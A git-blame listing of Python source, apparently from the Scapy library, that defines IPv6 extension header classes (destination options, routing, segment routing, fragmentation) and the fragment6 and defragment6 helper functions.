94863ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
949c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
95077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
951c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
952c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 0 }}
953c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
954c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
955c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil######################## Destination Option Header ##########################
956c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
9570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrDestOpt(_IPv6ExtHdr):
958c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Destination Options Header"
959c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
960c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, length_of="options", fmt="B",
96163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter                                  adjust = lambda pkt,x: (x+2+7)//8 - 1),
962c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
96377132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    _HopByHopOptionsField("options", [], HBHOptUnknown, 2,
964c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: (8*(pkt.len+1))-2) ]
965c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 60 }}
966c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
967c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
968c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################# Routing Header ################################
969c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
970c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass IPv6ExtHdrRouting(_IPv6ExtHdr):
971c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Option Header Routing"
972c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
973c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("len", None, count_of="addresses", fmt="B",
974c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x:2*x), # in 8 bytes blocks
975c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("type", 0),
976c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("segleft", None),
977c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("reserved", 0, 32), # There is meaning in this field ...
97877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IP6ListField("addresses", [],
979c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                 length_from = lambda pkt: 8*pkt.len)]
980c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 43 }}
981c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
982c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, pkt, pay):
983c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.segleft is None:
984c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:]
985c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return _IPv6ExtHdr.post_build(self, pkt, pay)
986c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
98735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
988f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain######################### Segment Routing Header ############################
989f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
99035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# This implementation is based on draft 06, available at:
99135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
99235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
99335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLV(Packet):
99435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Generic TLV"
99535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 0),
99635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 0),
99735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
99835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
99935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    StrLenField("value", "", length_from=lambda pkt: pkt.len) ]
100035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def extract_padding(self, p):
10021186356a1d73fd59b700d8af05e789d0e8899de6gpotter        return b"",p
100335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    registered_sr_tlv = {}
100535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
100635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def register_variant(cls):
100735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        cls.registered_sr_tlv[cls.type.default] = cls
100835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
100935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    @classmethod
101035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    def dispatch_hook(cls, pkt=None, *args, **kargs):
101135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if pkt:
1012b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            tmp_type = orb(pkt[0])
101335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            return cls.registered_sr_tlv.get(tmp_type, cls)
101435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return cls
101535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
101735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV):
101835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Ingress Node TLV"
101935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 1),
102035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
102135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
102235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
102335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("ingress_node", "::1") ]
102435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
102635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV):
102735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Egress Node TLV"
102835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 2),
102935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", 18),
103035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("reserved", 0),
103135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("flags", 0),
103235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6Field("egress_node", "::1") ]
103335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
103435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
103535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadonclass IPv6ExtHdrSegmentRoutingTLVPadding(IPv6ExtHdrSegmentRoutingTLV):
103635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    name = "IPv6 Option Header Segment Routing - Padding TLV"
103735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    fields_desc = [ ByteField("type", 4),
103835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    FieldLenField("len", None, length_of="padding", fmt="B"),
10392a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                    StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len) ]
104035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
104135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
1042f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutainclass IPv6ExtHdrSegmentRouting(_IPv6ExtHdr):
1043f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    name = "IPv6 Option Header Segment Routing"
1044f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
104535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("len", None),
1046f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    ByteField("type", 4),
104735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("segleft", None),
104835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ByteField("lastentry", None),
104935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused1", 0, 1),
1050f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("protected", 0, 1),
1051f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("oam", 0, 1),
1052f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("alert", 0, 1),
1053f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain                    BitField("hmac", 0, 1),
105435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    BitField("unused2", 0, 3),
105535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    ShortField("tag", 0),
105635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    IP6ListField("addresses", ["::1"],
105735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        count_from=lambda pkt: pkt.lastentry),
105835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                    PacketListField("tlv_objects", [], IPv6ExtHdrSegmentRoutingTLV,
105935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                        length_from=lambda pkt: 8*pkt.len - 16*pkt.lastentry) ]
106035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
106135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon    overload_fields = { IPv6: { "nh": 43 } }
1062f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1063f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain    def post_build(self, pkt, pay):
1064f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
106535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.len is None:
106635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
106735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            # The extension must be align on 8 bytes
106835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_mod = (len(pkt) - 8) % 8
106935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_mod == 1:
107035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                warning("IPv6ExtHdrSegmentRouting(): can't pad 1 byte !")
107135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            elif tmp_mod >= 2:
107235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                #Add the padding extension
10732a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter                tmp_pad = b"\x00" * (tmp_mod-2)
107435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tlv = IPv6ExtHdrSegmentRoutingTLVPadding(padding=tmp_pad)
10755e8857410015a93f6371459b2f870432ded39b9fgpotter                pkt += raw(tlv)
107635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
107763ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            tmp_len = (len(pkt) - 8) // 8
107835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:1] + struct.pack("B", tmp_len)+ pkt[2:]
107935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
108035354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.segleft is None:
108135354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            tmp_len = len(self.addresses)
108235354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            if tmp_len:
108335354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon                tmp_len -= 1
108435354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:]
108535354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
108635354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        if self.lastentry is None:
108735354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon            pkt = pkt[:4] + struct.pack("B", len(self.addresses)) + pkt[5:]
108835354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon
108935354325a816f330cd25f61a2f3edac5c5939e1fGuillaume Valadon        return _IPv6ExtHdr.post_build(self, pkt, pay)
1090f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1091f23cf0e4848da56e0fea1b2773ce7df5e85f97beNhoutain
1092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil########################### Fragmentation Header ############################
1093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
10940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass IPv6ExtHdrFragment(_IPv6ExtHdr):
1095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Extension Header - Fragmentation header"
1096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField("res1", 0, 8),
109877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("offset", 0, 13),
109977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("res2", 0, 2),
110077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("m", 0, 1),
110177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    IntField("id", None) ]
1102c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: { "nh": 44 }}
1103c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1104c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
110552165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadondef defragment6(packets):
1106c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1107c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Performs defragmentation of a list of IPv6 packets. Packets are reordered.
1108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Crap is dropped. What lacks is completed by 'X' characters.
1109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
111152165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in packets if IPv6ExtHdrFragment in x] # remove non fragments
1112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not l:
1113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return []
1114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    id = l[0][IPv6ExtHdrFragment].id
1116c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1117c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
111852165d0dd55a1071b935d002a41a95210c97f8e7Guillaume Valadon    l = [x for x in l if x[IPv6ExtHdrFragment].id == id]
1119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if len(l) != llen:
1120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        warning("defragment6: some fragmented packets have been removed from list")
1121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    llen = len(l)
1122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
11230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # reorder fragments
11240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    i = 0
1125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while l:
1127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_pos = 0
1128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        min_offset  = l[0][IPv6ExtHdrFragment].offset
1129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for p in l:
1130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur_offset = p[IPv6ExtHdrFragment].offset
1131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur_offset < min_offset:
1132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_pos = 0
1133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                min_offset  = cur_offset
1134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        res.append(l[min_pos])
1135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        del(l[min_pos])
1136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # regenerate the fragmentable part
11381186356a1d73fd59b700d8af05e789d0e8899de6gpotter    fragmentable = b""
1139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for p in res:
1140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        q=p[IPv6ExtHdrFragment]
1141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        offset = 8*q.offset
1142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if offset != len(fragmentable):
1143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset))
11441186356a1d73fd59b700d8af05e789d0e8899de6gpotter        fragmentable += b"X"*(offset - len(fragmentable))
11455e8857410015a93f6371459b2f870432ded39b9fgpotter        fragmentable += raw(q.payload)
1146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Regenerate the unfragmentable part.
1148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q = res[0]
1149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    nh = q[IPv6ExtHdrFragment].nh
1150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    q[IPv6ExtHdrFragment].underlayer.nh = nh
115109e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del q[IPv6ExtHdrFragment].underlayer.payload
11527b3e970663abd72697e17b70aba9943ae0dad404Phil    q /= conf.raw_layer(load=fragmentable)
11530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
11545e8857410015a93f6371459b2f870432ded39b9fgpotter    return IPv6(raw(q))
1155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef fragment6(pkt, fragSize):
1158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
11590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already
1160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected
1161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    maximum size of fragments (MTU). The list of packets is returned.
1162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If packet does not contain an IPv6ExtHdrFragment class, it is returned in
1164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    result list.
1165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
1166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    pkt = pkt.copy()
1168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if not IPv6ExtHdrFragment in pkt:
1170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # TODO : automatically add a fragment before upper Layer
1171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        at the moment, we do nothing and return initial packet
1172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        #        as single element of a list
1173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [pkt]
1174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
117595776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon    # If the payload is bigger than 65535, a Jumbo payload must be used, as
11760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # an IPv6 packet can't be bigger than 65535 bytes.
11775e8857410015a93f6371459b2f870432ded39b9fgpotter    if len(raw(pkt[IPv6ExtHdrFragment])) > 65535:
117895776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.")
117995776ce795664e3f0703cf245792dc6e9d8d6ca6Guillaume Valadon      return []
11800d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
11815e8857410015a93f6371459b2f870432ded39b9fgpotter    s = raw(pkt) # for instantiation to get upper layer checksum right
1182d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1183d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon    if len(s) <= fragSize:
1184d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon        return [pkt]
1185d5e4a897680762663fd14993a4f2c9691675ec29Guillaume Valadon
1186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Fragmentable part : fake IPv6 for Fragmentable part length computation
1187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPart = pkt[IPv6ExtHdrFragment].payload
11885e8857410015a93f6371459b2f870432ded39b9fgpotter    tmp = raw(IPv6(src="::1", dst="::1")/fragPart)
1189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartLen = len(tmp) - 40  # basic IPv6 header length
1190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragPartStr = s[-fragPartLen:]
1191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Grab Next Header for use in Fragment Header
1193259efa6175979052b26bd8d6028461a0bc23b005Mostafa Razavi    nh = pkt[IPv6ExtHdrFragment].nh
1194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Keep fragment header
1196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader = pkt[IPv6ExtHdrFragment]
119709e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del fragHeader.payload # detach payload
1198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Unfragmentable Part
1200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPartLen = len(s) - fragPartLen - 8
1201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    unfragPart = pkt
120209e12802fc2694f5de2870b600c2abe732705366Pierre LALET    del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload
1203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12040d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    # Cut the fragmentable part to fit fragSize. Inner fragments have
1205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # a length that is an integer multiple of 8 octets. last Frag MTU
1206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # can be anything below MTU
1207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    lastFragSize = fragSize - unfragPartLen - 8
1208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    innerFragSize = lastFragSize - (lastFragSize % 8)
12090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if lastFragSize <= 0 or innerFragSize == 0:
12110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        warning("Provided fragment size value is too low. " +
1212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                "Should be more than %d" % (unfragPartLen + 8))
1213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return [unfragPart/fragHeader/fragPart]
1214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    remain = fragPartStr
1216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
1217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragOffset = 0     # offset, incremeted during creation
1218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragId = random.randint(0,0xffffffff) # random id ...
1219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if fragHeader.id is not None:  # ... except id provided by user
1220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        fragId = fragHeader.id
1221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.m = 1
1222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.id = fragId
1223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fragHeader.nh = nh
1224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ...
1226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while True:
1227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (len(remain) > lastFragSize):
12280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            tmp = remain[:innerFragSize]
1229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            remain = remain[innerFragSize:]
1230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offset
123163ae11708b02df74dd3e8d2385d2829f3d622d66gpotter            fragOffset += (innerFragSize // 8)  # compute new one
12320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            if IPv6 in unfragPart:
1233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12347b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp)
1235c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.offset = fragOffset    # update offSet
1238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            fragHeader.m = 0
1239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 in unfragPart:
1240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                unfragPart[IPv6].plen = None
12417b3e970663abd72697e17b70aba9943ae0dad404Phil            tempo = unfragPart/fragHeader/conf.raw_layer(load=remain)
1242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(tempo)
1243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            break
1244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
